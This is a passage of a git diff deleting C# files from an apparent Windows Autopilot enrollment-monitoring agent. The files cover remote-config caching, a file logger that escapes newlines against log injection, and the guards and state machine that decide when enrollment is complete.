CacheConfig(AgentConfigResponse config) - { - try - { - var dir = Path.GetDirectoryName(_cacheFilePath); - if (!Directory.Exists(dir)) - Directory.CreateDirectory(dir); - - // SECURITY: Never persist UnrestrictedMode to disk — require live backend auth - var liveValue = config.UnrestrictedMode; - config.UnrestrictedMode = false; - var json = JsonConvert.SerializeObject(config, Formatting.Indented); - config.UnrestrictedMode = liveValue; - - File.WriteAllText(_cacheFilePath, json); - _logger.Debug("Remote config cached to disk"); - } - catch (Exception ex) - { - _logger.Debug($"Failed to cache remote config: {ex.Message}"); - } - } - - private AgentConfigResponse LoadCachedConfig() - { - try - { - if (File.Exists(_cacheFilePath)) - { - var json = File.ReadAllText(_cacheFilePath); - var config = JsonConvert.DeserializeObject(json); - if (config != null) - { - // SECURITY: Never trust cached UnrestrictedMode — always require live backend auth - config.UnrestrictedMode = false; - } - return config; - } - } - catch (Exception ex) - { - _logger.Debug($"Failed to load cached config: {ex.Message}"); - } - return null; - } - - private AgentConfigResponse CreateDefaultConfig() - { - return new AgentConfigResponse - { - ConfigVersion = 0, - UploadIntervalSeconds = 30, - SelfDestructOnComplete = true, - KeepLogFile = false, - EnableGeoLocation = true, - EnableImeMatchLog = false, - Collectors = CollectorConfiguration.CreateDefault(), - GatherRules = new System.Collections.Generic.List(), - ImeLogPatterns = new System.Collections.Generic.List() - }; - } - - public void Dispose() - { - // Nothing to dispose - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Logging/AgentLogger.cs b/src/Agent/AutopilotMonitor.Agent.Core/Logging/AgentLogger.cs deleted file mode 100644 index 45b5f2c0..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Logging/AgentLogger.cs +++ /dev/null @@ -1,131 +0,0 @@ -using System; -using System.IO; - -namespace AutopilotMonitor.Agent.Core.Logging -{ - /// - /// Log verbosity levels for the agent. - /// Info = normal operational messages (default) - /// Debug = includes DEBUG-tagged lines (component state, config, decisions) - /// Verbose = includes VERBOSE-tagged lines (per-event details, hot-path tracing) - /// - public enum AgentLogLevel - { - Info = 0, - Debug = 1, - Verbose = 2, - Trace = 3 - } - - /// - /// Simple file-based logger for the agent. - /// Optionally mirrors output to the console when EnableConsoleOutput is set. - /// - public class AgentLogger - { - private readonly string _logFilePath; - private AgentLogLevel _logLevel; - private readonly object _lockObject = new object(); - - /// - /// When true, log entries are also written to Console.Out (same format as the log file). - /// Set via --console flag or programmatically. - /// - public bool EnableConsoleOutput { get; set; } - - public AgentLogger(string logDirectory, AgentLogLevel logLevel = AgentLogLevel.Info) - { - _logLevel = logLevel; - - if (!Directory.Exists(logDirectory)) - { - Directory.CreateDirectory(logDirectory); - } - - var logFileName = $"agent_{DateTime.Now:yyyyMMdd}.log"; - _logFilePath = Path.Combine(logDirectory, logFileName); - } - - /// - /// Updates the active log level at runtime (e.g. after remote config is applied). - /// - public void SetLogLevel(AgentLogLevel level) - { - _logLevel = level; - } - - public AgentLogLevel LogLevel => _logLevel; - - public void Trace(string message) - { - if (_logLevel >= AgentLogLevel.Trace) - Log("TRACE", message); - } - - public void Verbose(string message) - { - if (_logLevel >= AgentLogLevel.Verbose) - Log("VERBOSE", message); - } - - public void Debug(string message) - { - if (_logLevel >= AgentLogLevel.Debug) - Log("DEBUG", message); - } - - public void Info(string message) - { - Log("INFO", message); - } - - public void Warning(string message) - { - Log("WARN", message); - } - - public void Error(string message, Exception ex = null) - { - var fullMessage = ex != null ? $"{message} - {ex}" : message; - Log("ERROR", fullMessage); - } - - private void Log(string level, string message) - { - try - { - lock (_lockObject) - { - var timestamp = DateTime.UtcNow.ToString("yyyy-MM-dd HH:mm:ss.fff"); - var logEntry = $"[{timestamp}] [{level}] {SanitizeLogMessage(message)}"; - - File.AppendAllText(_logFilePath, logEntry + Environment.NewLine); - - if (EnableConsoleOutput) - { - try { Console.WriteLine(logEntry); } catch { } - } - } - } - catch - { - // Swallow logging errors to prevent crashes - } - } - - /// - /// Sanitizes log messages to prevent log injection attacks. - /// Escapes control characters that could forge log entries. - /// Redaction patterns can be added here later as needed. - /// - private static string SanitizeLogMessage(string message) - { - if (string.IsNullOrEmpty(message)) return message; - - // Escape newlines and carriage returns to prevent log injection - message = message.Replace("\r", "\\r").Replace("\n", "\\n"); - - return message; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/CompletionGuards.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/CompletionGuards.cs deleted file mode 100644 index 1d8ac881..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/CompletionGuards.cs +++ /dev/null @@ -1,96 +0,0 @@ -using System; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion -{ - /// - /// Pure-function guards for enrollment completion decisions. - /// Extracted 1:1 from the lock block in TryEmitEnrollmentComplete() for testability. - /// Each method mirrors the exact condition evaluated in CompletionLogic.cs. - /// - internal static class CompletionGuards - { - /// - /// Guard 1: Hello resolution check. - /// Hello is considered resolved when: - /// - No EspAndHelloTracker exists (no Hello tracking) - /// - Hello has already completed (success, skip, or timeout) - /// - Hello policy is not configured (Hello disabled) - /// - Deployment is device-only (no interactive user session) - /// - /// - /// Source: EnrollmentTracker.CompletionLogic.cs, TryEmitEnrollmentComplete(), - /// line: helloResolved = _espAndHelloTracker == null || ...IsHelloCompleted || !...IsPolicyConfigured || isDeviceOnly - /// - public static bool IsHelloResolved(bool hasTracker, bool isHelloCompleted, - bool isPolicyConfigured, bool isDeviceOnly) - { - return !hasTracker - || isHelloCompleted - || !isPolicyConfigured - || isDeviceOnly; - } - - /// - /// Guard 2: ESP gate for desktop-based completion sources. - /// Blocks completion when: - /// - Source is desktop_arrival or desktop_hello - /// - Enrollment type is v1 (not WDP) - /// - ESP has been seen but has NOT exited yet - /// Rationale: In v1 enrollments with active ESP, desktop presence alone is - /// NOT sufficient to complete (AccountSetup may still be running). - /// - /// - /// Source: EnrollmentTracker.CompletionLogic.cs, TryEmitEnrollmentComplete(), - /// line: espGateBlocked = (source == "desktop_arrival" || source == "desktop_hello") && enrollmentType != "v2" && espEverSeen && !espFinalExitSeen - /// - public static bool IsEspGateBlocking(string source, string enrollmentType, - bool espEverSeen, bool espFinalExitSeen) - { - return (source == "desktop_arrival" || source == "desktop_hello") - && enrollmentType != "v2" - && espEverSeen - && !espFinalExitSeen; - } - - /// - /// Guard 3: Hybrid join reboot gate. - /// In hybrid join, ESP may exit for a mid-enrollment reboot (domain user login required). - /// Blocks esp_hello_composite unless we have stronger confirmation: - /// - IME user session completed (imePatternSeenUtc has value) - /// - Agent restarted after ESP exit (agentStartTimeUtc > espFinalExitUtc) - /// - /// - /// Source: EnrollmentTracker.CompletionLogic.cs, TryEmitEnrollmentComplete(), - /// lines: if (_isHybridJoin && source == "esp_hello_composite") { ... hybridRebootGateBlocked = !hasImeCompletion && !agentRestartedAfterEspExit; } - /// - public static bool IsHybridRebootGateBlocking(bool isHybridJoin, string source, - DateTime? imePatternSeenUtc, DateTime? espFinalExitUtc, DateTime agentStartTimeUtc) - { - if (!isHybridJoin || source != "esp_hello_composite") - return false; - - bool hasImeCompletion = imePatternSeenUtc.HasValue; - bool agentRestartedAfterEspExit = espFinalExitUtc.HasValue - && agentStartTimeUtc > espFinalExitUtc.Value; - - return !hasImeCompletion && !agentRestartedAfterEspExit; - } - - /// - /// Deployment classification: device-only check. - /// A deployment is device-only when: - /// - Self-Deploying mode (autopilotMode == 1), OR - /// - SkipUserStatusPage == true AND no user has AAD-joined - /// - /// - /// Source: EnrollmentTracker.cs, property IsDeviceOnlyDeployment - /// line: IsSelfDeploying || (_skipUserStatusPage == true && !_aadJoinedWithUser) - /// - public static bool IsDeviceOnlyDeployment(int? autopilotMode, bool? skipUserStatusPage, - bool aadJoinedWithUser) - { - bool isSelfDeploying = autopilotMode == 1; - return isSelfDeploying || (skipUserStatusPage == true && !aadJoinedWithUser); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/CompletionStateMachine.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/CompletionStateMachine.cs deleted file mode 100644 index 80e2ddb1..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Completion/CompletionStateMachine.cs +++ /dev/null @@ -1,820 +0,0 @@ -using System; -using System.Collections.Generic; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion -{ - /// - /// Read-only snapshot of all state needed for guard evaluation and transition decisions. - /// Populated under lock in the caller, consumed outside lock by the state machine. - /// Preserves the existing thread-safety pattern from EnrollmentTracker. - /// - internal class CompletionContext - { - // Deployment classification - public string EnrollmentType { get; set; } - public int? AutopilotMode { get; set; } - public bool? SkipUserStatusPage { get; set; } - public bool AadJoinedWithUser { get; set; } - public bool IsHybridJoin { get; set; } - - // Computed deployment classification (mirrors IsDeviceOnlyDeployment property) - public bool IsDeviceOnly => CompletionGuards.IsDeviceOnlyDeployment( - AutopilotMode, SkipUserStatusPage, AadJoinedWithUser); - - // Signal state - public bool EspEverSeen { get; set; } - public bool EspFinalExitSeen { get; set; } - public bool DesktopArrived { get; set; } - public string LastEspPhase { get; set; } - public bool DeviceInfoCollected { get; set; } - - // Hello state (from EspAndHelloTracker) - public bool HasHelloTracker { get; set; } - public bool IsHelloCompleted { get; set; } - public bool IsHelloPolicyConfigured { get; set; } - public bool HasUnresolvedEspCategories { get; set; } - public bool HasAccountSetupActivity { get; set; } - - // WhiteGlove detection signals - public bool WhiteGloveStartDetected { get; set; } - public bool HasSaveWhiteGloveSuccessResult { get; set; } - public bool ShellCoreWhiteGloveSuccess { get; set; } - public bool IsFooUserDetected { get; set; } - - // Legacy helper — kept for backwards-compat with places that only need a binary - // "there is some WG evidence" read. Actual classification now goes through - // . - public bool IsWhiteGloveActive => HasSaveWhiteGloveSuccessResult; - - // Computed: has the agent restarted since ESP final exit? Typical WhiteGlove Part 1 - // boundary marker (the restart between DeviceSetup-complete and user sign-in). - public bool AgentRestartedAfterEspExit - => EspFinalExitUtc.HasValue && AgentStartTimeUtc > EspFinalExitUtc.Value; - - // Timing - public DateTime AgentStartTimeUtc { get; set; } - public DateTime? EspFinalExitUtc { get; set; } - public DateTime? ImePatternSeenUtc { get; set; } - - // Trigger metadata - public string Source { get; set; } - } - - /// - /// Result of a state machine transition. Contains the new state and metadata - /// about what actions the caller should take (emit events, start timers, etc.). - /// The state machine itself is side-effect-free — all actions are communicated - /// via this result object to preserve the lock-free emission pattern. - /// - internal class TransitionResult - { - public static readonly TransitionResult NoTransition = new TransitionResult - { - Transitioned = false, - NewState = EnrollmentCompletionState.Idle - }; - - public bool Transitioned { get; set; } - public EnrollmentCompletionState NewState { get; set; } - public EnrollmentCompletionState PreviousState { get; set; } - public string CompletionSource { get; set; } - - // Action flags — caller executes these OUTSIDE lock - public bool ShouldEmitEnrollmentComplete { get; set; } - public bool ShouldEmitEnrollmentFailed { get; set; } - public bool ShouldEmitWhiteGloveComplete { get; set; } - public bool ShouldStartHelloWaitTimer { get; set; } - public bool ShouldStartHelloSafetyTimer { get; set; } - public bool ShouldStartEspSettleTimer { get; set; } - public bool ShouldStartDeviceOnlyEspTimer { get; set; } - public bool ShouldStartDeviceOnlySafetyTimer { get; set; } - public bool ShouldForceMarkHelloCompleted { get; set; } - public bool ShouldResetEspForResumption { get; set; } - public bool ShouldPersistState { get; set; } - public string FailureType { get; set; } - public string DeferredSource { get; set; } - - // Signals to record - public List SignalsToRecord { get; set; } - } - - /// - /// Explicit state machine for enrollment completion logic. - /// Replaces the implicit boolean-flag-based state tracking in CompletionLogic.cs. - /// - /// Thread safety: The ProcessTrigger method is thread-safe. State reads and transitions - /// happen under a single lock (microsecond-level critical sections). All side effects - /// (event emission, timer management) are communicated via TransitionResult and executed - /// by the caller OUTSIDE the lock — identical pattern to the original code. - /// - /// This class is intentionally side-effect-free: it computes state transitions and - /// returns action flags. The caller (EnrollmentTracker) owns the actual side effects. - /// - internal class CompletionStateMachine - { - private readonly object _lock = new object(); - private EnrollmentCompletionState _currentState = EnrollmentCompletionState.Idle; - private string _deferredSource; - - // Signal state (mirrored from EnrollmentTracker fields) - private bool _espEverSeen; - private bool _espFinalExitSeen; - private bool _desktopArrived; - private bool _isWaitingForHello; - private bool _isWaitingForEspSettle; - - public EnrollmentCompletionState CurrentState - { - get { lock (_lock) { return _currentState; } } - } - - // Expose internal state for shadow-mode comparison and persistence - internal bool EspEverSeen { get { lock (_lock) { return _espEverSeen; } } } - internal bool EspFinalExitSeen { get { lock (_lock) { return _espFinalExitSeen; } } } - internal bool DesktopArrived { get { lock (_lock) { return _desktopArrived; } } } - - /// - /// Reconstructs state from persisted EnrollmentStateData (crash recovery). - /// Must be called before Start() if recovering from a crash. - /// - public void RestoreState(EnrollmentCompletionState state, bool espEverSeen, - bool espFinalExitSeen, bool desktopArrived, bool isWaitingForHello, - bool isWaitingForEspSettle, string deferredSource) - { - lock (_lock) - { - _currentState = state; - _espEverSeen = espEverSeen; - _espFinalExitSeen = espFinalExitSeen; - _desktopArrived = desktopArrived; - _isWaitingForHello = isWaitingForHello; - _isWaitingForEspSettle = isWaitingForEspSettle; - _deferredSource = deferredSource; - } - } - - /// - /// Reconstructs the explicit state from boolean flags (backwards compatibility). - /// Used when loading state from an old-format persistence file that doesn't - /// contain the CompletionState field. - /// - public static EnrollmentCompletionState ReconstructStateFromFlags( - bool enrollmentCompleteEmitted, bool isWaitingForHello, bool isWaitingForEspSettle, - bool espFinalExitSeen, bool desktopArrived, bool espEverSeen, - bool isDeviceOnly) - { - if (enrollmentCompleteEmitted) - return EnrollmentCompletionState.Completed; - if (isWaitingForHello) - return EnrollmentCompletionState.WaitingForHello; - if (isWaitingForEspSettle) - return EnrollmentCompletionState.WaitingForEspSettle; - if (isDeviceOnly && espFinalExitSeen) - return EnrollmentCompletionState.DeviceOnlyAwaitingCompletion; - if (espFinalExitSeen && desktopArrived) - return EnrollmentCompletionState.DesktopArrivedAwaitingHello; - if (espFinalExitSeen) - return EnrollmentCompletionState.EspExitedAwaitingCompletion; - if (espEverSeen && desktopArrived) - return EnrollmentCompletionState.DesktopArrivedEspBlocking; - if (espEverSeen) - return EnrollmentCompletionState.EspActive; - if (desktopArrived) - return EnrollmentCompletionState.DesktopArrivedAwaitingHello; - return EnrollmentCompletionState.Idle; - } - - /// - /// Core state machine: processes a trigger against the current state and context. - /// Returns a TransitionResult describing what happened and what actions to take. - /// - /// The state transition happens atomically under lock. - /// All side-effect instructions are in the returned result — caller executes them outside lock. - /// - public TransitionResult ProcessTrigger(string trigger, CompletionContext ctx) - { - if (string.IsNullOrEmpty(trigger)) - return TransitionResult.NoTransition; - - lock (_lock) - { - // Sync internal signal flags from the authoritative tracker snapshot. - // Monoton false→true: these signals are stable-once-seen. The single - // intentional reset (HandleEspResumed clearing _espFinalExitSeen) runs - // AFTER this sync inside its own switch case, so it remains the last writer. - // Without this, the SM can drift from the tracker (e.g. when - // _stateData.EspEverSeen=true was set in memory but Save() hadn't run - // before a reboot — restore loads false and downstream guards misfire). - if (ctx != null) - { - if (ctx.EspEverSeen) _espEverSeen = true; - if (ctx.EspFinalExitSeen) _espFinalExitSeen = true; - if (ctx.DesktopArrived) _desktopArrived = true; - } - - // Terminal states: no transitions allowed - if (_currentState.IsTerminal()) - return TransitionResult.NoTransition; - - switch (trigger) - { - case "esp_phase_changed": - return HandleEspPhaseChanged(ctx); - - case "esp_exiting": - return HandleEspExiting(ctx); - - case "desktop_arrived": - return HandleDesktopArrived(ctx); - - case "hello_completed": - return HandleHelloCompleted(ctx); - - case "ime_user_session_completed": - return HandleImeUserSessionCompleted(ctx); - - case "device_setup_provisioning_complete": - return HandleDeviceSetupProvisioningComplete(ctx); - - case "hello_safety_timeout": - return HandleHelloSafetyTimeout(ctx); - - case "esp_settle_timeout": - return HandleEspSettleTimeout(ctx); - - case "device_only_esp_timer_expired": - return HandleDeviceOnlyEspTimerExpired(ctx); - - case "device_only_safety_timeout": - return HandleDeviceOnlySafetyTimeout(ctx); - - case "esp_failure_terminal": - return HandleEspFailureTerminal(ctx); - - case "esp_failure_grace_expired": - return HandleEspFailureTerminal(ctx); - - case "whiteglove_complete": - return HandleWhiteGloveComplete(ctx); - - case "esp_resumed": - return HandleEspResumed(ctx); - - case "device_info_collected": - return HandleDeviceInfoCollected(ctx); - - default: - return TransitionResult.NoTransition; - } - } - } - - // ===== Trigger Handlers (all called under _lock) ===== - - private TransitionResult HandleEspPhaseChanged(CompletionContext ctx) - { - if (_currentState != EnrollmentCompletionState.Idle - && _currentState != EnrollmentCompletionState.EspActive) - return TransitionResult.NoTransition; - - var prev = _currentState; - _espEverSeen = true; - _currentState = EnrollmentCompletionState.EspActive; - - return new TransitionResult - { - Transitioned = prev != _currentState, - PreviousState = prev, - NewState = _currentState, - SignalsToRecord = new List { "esp_phase_changed" } - }; - } - - private TransitionResult HandleEspExiting(CompletionContext ctx) - { - // ESP exiting is only relevant when ESP has been seen - if (!_espEverSeen) - return TransitionResult.NoTransition; - - var prev = _currentState; - var result = new TransitionResult { PreviousState = prev, SignalsToRecord = new List() }; - - // Path A: AccountSetup completed, desktop already arrived, or provisioning registry confirms AccountSetup - bool accountSetupFromProvisioning = ctx.LastEspPhase == null && ctx.HasAccountSetupActivity; - if (string.Equals(ctx.LastEspPhase, "AccountSetup", StringComparison.OrdinalIgnoreCase) - || _desktopArrived - || accountSetupFromProvisioning) - { - _espFinalExitSeen = true; - _currentState = EnrollmentCompletionState.EspExitedAwaitingCompletion; - result.SignalsToRecord.Add("esp_final_exit"); - result.ShouldStartHelloWaitTimer = true; - result.ShouldPersistState = true; - - // Check if we can complete immediately - if (CanComplete(ctx, "esp_hello_composite")) - { - _currentState = EnrollmentCompletionState.Completed; - result.ShouldEmitEnrollmentComplete = true; - result.CompletionSource = "esp_hello_composite"; - } - else if (ctx.IsHybridJoin && CompletionGuards.IsHybridRebootGateBlocking( - ctx.IsHybridJoin, "esp_hello_composite", - ctx.ImePatternSeenUtc, ctx.EspFinalExitUtc, ctx.AgentStartTimeUtc)) - { - _currentState = EnrollmentCompletionState.HybridRebootGateBlocked; - } - } - // Path B: Registry definitively says device-only - else if (ctx.SkipUserStatusPage == true) - { - // WhiteGlove guard — canonical WhiteGloveClassifier decision (same rule as - // HandleDeviceSetupProvisioningComplete and the EnrollmentTracker paths). - // Weak confidence falls through to the regular device-only path by design. - var wgSignals = WhiteGloveSignals.FromContext(ctx); - var wgClassification = WhiteGloveClassifier.Classify(wgSignals); - if (wgClassification.ShouldRouteToWhiteGlovePart1) - { - _currentState = EnrollmentCompletionState.WhiteGloveCompleted; - result.ShouldEmitWhiteGloveComplete = true; - result.SignalsToRecord.Add("whiteglove_guard_esp_exiting"); - result.SignalsToRecord.Add($"wg_score:{wgClassification.Score}"); - result.SignalsToRecord.Add($"wg_confidence:{wgClassification.Confidence}"); - result.Transitioned = true; - result.NewState = _currentState; - return result; - } - - _espFinalExitSeen = true; - _currentState = EnrollmentCompletionState.DeviceOnlyAwaitingCompletion; - result.SignalsToRecord.Add("device_only_esp_registry"); - result.ShouldStartHelloWaitTimer = true; - result.ShouldPersistState = true; - - if (CanComplete(ctx, "device_only_esp_registry")) - { - _currentState = EnrollmentCompletionState.Completed; - result.ShouldEmitEnrollmentComplete = true; - result.CompletionSource = "device_only_esp_registry"; - } - else - { - _currentState = EnrollmentCompletionState.DeviceOnlySafetyWait; - result.ShouldStartDeviceOnlySafetyTimer = true; - } - } - // Path C: Unknown — start device-only detection timer - else - { - result.ShouldStartDeviceOnlyEspTimer = true; - // State stays as-is (EspActive or DesktopArrivedEspBlocking) - } - - result.Transitioned = prev != _currentState; - result.NewState = _currentState; - return result; - } - - private TransitionResult HandleDesktopArrived(CompletionContext ctx) - { - if (_desktopArrived) - return TransitionResult.NoTransition; - - var prev = _currentState; - _desktopArrived = true; - - var result = new TransitionResult - { - PreviousState = prev, - ShouldPersistState = true, - SignalsToRecord = new List { "desktop_arrived" } - }; - - // SkipUserStatusPage handling: if ESP seen and SkipUser=true but no final exit yet - if (_espEverSeen && ctx.SkipUserStatusPage == true && !_espFinalExitSeen) - { - _espFinalExitSeen = true; - result.SignalsToRecord.Add("desktop_arrived_skip_user"); - } - - // Determine target state based on ESP status - if (_espEverSeen && !_espFinalExitSeen) - { - // ESP still active — gate blocks - _currentState = EnrollmentCompletionState.DesktopArrivedEspBlocking; - } - else - { - // No ESP blocking — can proceed toward completion - _currentState = EnrollmentCompletionState.DesktopArrivedAwaitingHello; - - // Start Hello wait timer if needed (no active ESP, not device-only) - if (!ctx.IsDeviceOnly && ctx.HasHelloTracker && !ctx.IsHelloCompleted) - { - result.ShouldStartHelloWaitTimer = true; - } - - // Try immediate completion - if (CanComplete(ctx, "desktop_arrival")) - { - _currentState = EnrollmentCompletionState.Completed; - result.ShouldEmitEnrollmentComplete = true; - result.CompletionSource = "desktop_arrival"; - } - } - - result.Transitioned = prev != _currentState; - result.NewState = _currentState; - return result; - } - - private TransitionResult HandleHelloCompleted(CompletionContext ctx) - { - var prev = _currentState; - var result = new TransitionResult - { - PreviousState = prev, - SignalsToRecord = new List { "hello_resolved" } - }; - - if (_isWaitingForHello) - { - // IME path: was waiting for Hello - _isWaitingForHello = false; - if (CanCompleteWithHelloResolved(ctx, "ime_hello")) - { - _currentState = EnrollmentCompletionState.Completed; - result.ShouldEmitEnrollmentComplete = true; - result.CompletionSource = "ime_hello"; - } - } - else if (_espFinalExitSeen) - { - // ESP composite path - string source = "esp_hello_composite"; - if (ctx.IsHybridJoin && CompletionGuards.IsHybridRebootGateBlocking( - ctx.IsHybridJoin, source, - ctx.ImePatternSeenUtc, ctx.EspFinalExitUtc, ctx.AgentStartTimeUtc)) - { - _currentState = EnrollmentCompletionState.HybridRebootGateBlocked; - } - else - { - _currentState = EnrollmentCompletionState.Completed; - result.ShouldEmitEnrollmentComplete = true; - result.CompletionSource = source; - } - } - else if (_desktopArrived) - { - // Desktop + Hello path - string source = "desktop_hello"; - if (!CompletionGuards.IsEspGateBlocking(source, ctx.EnrollmentType, - _espEverSeen, _espFinalExitSeen)) - { - _currentState = EnrollmentCompletionState.Completed; - result.ShouldEmitEnrollmentComplete = true; - result.CompletionSource = source; - } - } - - result.Transitioned = prev != _currentState; - result.NewState = _currentState; - return result; - } - - private TransitionResult HandleImeUserSessionCompleted(CompletionContext ctx) - { - var prev = _currentState; - var result = new TransitionResult - { - PreviousState = prev, - SignalsToRecord = new List { "ime_pattern" } - }; - - // Device-only: skip Hello entirely - if (ctx.IsDeviceOnly) - { - _currentState = EnrollmentCompletionState.Completed; - result.ShouldEmitEnrollmentComplete = true; - result.CompletionSource = "ime_pattern"; - result.Transitioned = true; - result.NewState = _currentState; - return result; - } - - // Hello configured but not yet completed — wait - if (ctx.HasHelloTracker && ctx.IsHelloPolicyConfigured && !ctx.IsHelloCompleted) - { - _isWaitingForHello = true; - _currentState = EnrollmentCompletionState.WaitingForHello; - result.ShouldStartHelloWaitTimer = true; - result.ShouldStartHelloSafetyTimer = true; - result.ShouldPersistState = true; - result.Transitioned = true; - result.NewState = _currentState; - return result; - } - - // ESP categories unresolved — wait for settle - if (ctx.HasHelloTracker && ctx.HasUnresolvedEspCategories) - { - _isWaitingForEspSettle = true; - _currentState = EnrollmentCompletionState.WaitingForEspSettle; - result.ShouldStartEspSettleTimer = true; - result.ShouldPersistState = true; - result.Transitioned = true; - result.NewState = _currentState; - return result; - } - - // All clear — complete - _currentState = EnrollmentCompletionState.Completed; - result.ShouldEmitEnrollmentComplete = true; - result.CompletionSource = "ime_pattern"; - result.Transitioned = true; - result.NewState = _currentState; - return result; - } - - private TransitionResult HandleDeviceSetupProvisioningComplete(CompletionContext ctx) - { - var prev = _currentState; - var result = new TransitionResult - { - PreviousState = prev, - SignalsToRecord = new List { "device_setup_provisioning_complete" } - }; - - // WhiteGlove guard — canonical WhiteGloveClassifier decision (same rule as - // EnrollmentTracker.CompletionLogic.OnDeviceSetupProvisioningComplete and - // TryEmitEnrollmentComplete). Weak confidence falls through to the regular - // self-deploying path by design (asymmetric-conservative routing). - var wgSignals = WhiteGloveSignals.FromContext(ctx); - var wgClassification = WhiteGloveClassifier.Classify(wgSignals); - if (wgClassification.ShouldRouteToWhiteGlovePart1) - { - _currentState = EnrollmentCompletionState.WhiteGloveCompleted; - result.ShouldEmitWhiteGloveComplete = true; - result.SignalsToRecord.Add("whiteglove_guard_activated"); - result.SignalsToRecord.Add($"wg_score:{wgClassification.Score}"); - result.SignalsToRecord.Add($"wg_confidence:{wgClassification.Confidence}"); - result.Transitioned = true; - result.NewState = _currentState; - return result; - } - - if (!ctx.IsDeviceOnly) - { - // Not device-only: check if device info collected yet - if (!ctx.DeviceInfoCollected) - { - _deferredSource = "device_setup_provisioning_complete"; - _currentState = EnrollmentCompletionState.DeferredForDeviceInfo; - result.DeferredSource = _deferredSource; - result.Transitioned = true; - result.NewState = _currentState; - return result; - } - // Not device-only and device info collected: normal paths handle it - return TransitionResult.NoTransition; - } - - // Device-only: mark ESP as seen and exited - if (!_espEverSeen) _espEverSeen = true; - if (!_espFinalExitSeen) - { - _espFinalExitSeen = true; - result.SignalsToRecord.Add("self_deploying_esp_final_exit"); - } - result.ShouldPersistState = true; - - _currentState = EnrollmentCompletionState.Completed; - result.ShouldEmitEnrollmentComplete = true; - result.CompletionSource = "self_deploying_provisioning_complete"; - result.Transitioned = true; - result.NewState = _currentState; - return result; - } - - private TransitionResult HandleHelloSafetyTimeout(CompletionContext ctx) - { - if (!_isWaitingForHello) - return TransitionResult.NoTransition; - - var prev = _currentState; - _isWaitingForHello = false; - _currentState = EnrollmentCompletionState.Completed; - - return new TransitionResult - { - Transitioned = true, - PreviousState = prev, - NewState = _currentState, - ShouldForceMarkHelloCompleted = true, - ShouldEmitEnrollmentComplete = true, - CompletionSource = "ime_hello_safety_timeout", - SignalsToRecord = new List { "ime_hello_safety_timeout" } - }; - } - - private TransitionResult HandleEspSettleTimeout(CompletionContext ctx) - { - if (!_isWaitingForEspSettle) - return TransitionResult.NoTransition; - - var prev = _currentState; - _isWaitingForEspSettle = false; - _currentState = EnrollmentCompletionState.Completed; - - return new TransitionResult - { - Transitioned = true, - PreviousState = prev, - NewState = _currentState, - ShouldEmitEnrollmentComplete = true, - CompletionSource = "ime_pattern", - SignalsToRecord = new List { "esp_provisioning_settled" } - }; - } - - private TransitionResult HandleDeviceOnlyEspTimerExpired(CompletionContext ctx) - { - // AccountSetup started meanwhile? Timer is obsolete - if (string.Equals(ctx.LastEspPhase, "AccountSetup", StringComparison.OrdinalIgnoreCase)) - return TransitionResult.NoTransition; - - if (!_desktopArrived) - return TransitionResult.NoTransition; // Wait for desktop - - var prev = _currentState; - _espFinalExitSeen = true; - _currentState = EnrollmentCompletionState.DesktopArrivedAwaitingHello; - - return new TransitionResult - { - Transitioned = true, - PreviousState = prev, - NewState = _currentState, - ShouldStartHelloWaitTimer = true, - ShouldPersistState = true, - SignalsToRecord = new List { "device_only_esp_final_exit" } - }; - } - - private TransitionResult HandleDeviceOnlySafetyTimeout(CompletionContext ctx) - { - var prev = _currentState; - _currentState = EnrollmentCompletionState.Completed; - - return new TransitionResult - { - Transitioned = true, - PreviousState = prev, - NewState = _currentState, - ShouldForceMarkHelloCompleted = true, - ShouldEmitEnrollmentComplete = true, - CompletionSource = "device_only_esp_safety_timeout", - SignalsToRecord = new List { "device_only_esp_safety_timeout" } - }; - } - - private TransitionResult HandleEspFailureTerminal(CompletionContext ctx) - { - var prev = _currentState; - _currentState = EnrollmentCompletionState.Failed; - - return new TransitionResult - { - Transitioned = true, - PreviousState = prev, - NewState = _currentState, - ShouldEmitEnrollmentFailed = true, - FailureType = ctx.Source - }; - } - - private TransitionResult HandleWhiteGloveComplete(CompletionContext ctx) - { - var prev = _currentState; - _currentState = EnrollmentCompletionState.WhiteGloveCompleted; - - return new TransitionResult - { - Transitioned = true, - PreviousState = prev, - NewState = _currentState, - ShouldEmitWhiteGloveComplete = true - }; - } - - private TransitionResult HandleEspResumed(CompletionContext ctx) - { - if (!ctx.IsHybridJoin || !_espFinalExitSeen) - return TransitionResult.NoTransition; - - var prev = _currentState; - _espFinalExitSeen = false; - _currentState = EnrollmentCompletionState.EspActive; - - return new TransitionResult - { - Transitioned = true, - PreviousState = prev, - NewState = _currentState, - ShouldResetEspForResumption = true, - ShouldPersistState = true, - SignalsToRecord = new List { "esp_resumed" } - }; - } - - private TransitionResult HandleDeviceInfoCollected(CompletionContext ctx) - { - if (_currentState != EnrollmentCompletionState.DeferredForDeviceInfo) - return TransitionResult.NoTransition; - - var prev = _currentState; - var deferredSource = _deferredSource; - _deferredSource = null; - - // Re-evaluate: now that device info is available, check if device-only - if (ctx.IsDeviceOnly) - { - if (!_espEverSeen) _espEverSeen = true; - if (!_espFinalExitSeen) - { - _espFinalExitSeen = true; - } - - _currentState = EnrollmentCompletionState.Completed; - return new TransitionResult - { - Transitioned = true, - PreviousState = prev, - NewState = _currentState, - ShouldEmitEnrollmentComplete = true, - CompletionSource = deferredSource ?? "device_setup_provisioning_complete", - ShouldPersistState = true, - SignalsToRecord = new List { "self_deploying_esp_final_exit" } - }; - } - - // Not device-only: revert to appropriate non-terminal state - if (_espFinalExitSeen) - _currentState = EnrollmentCompletionState.EspExitedAwaitingCompletion; - else if (_espEverSeen) - _currentState = _desktopArrived - ? EnrollmentCompletionState.DesktopArrivedEspBlocking - : EnrollmentCompletionState.EspActive; - else - _currentState = _desktopArrived - ? EnrollmentCompletionState.DesktopArrivedAwaitingHello - : EnrollmentCompletionState.Idle; - - return new 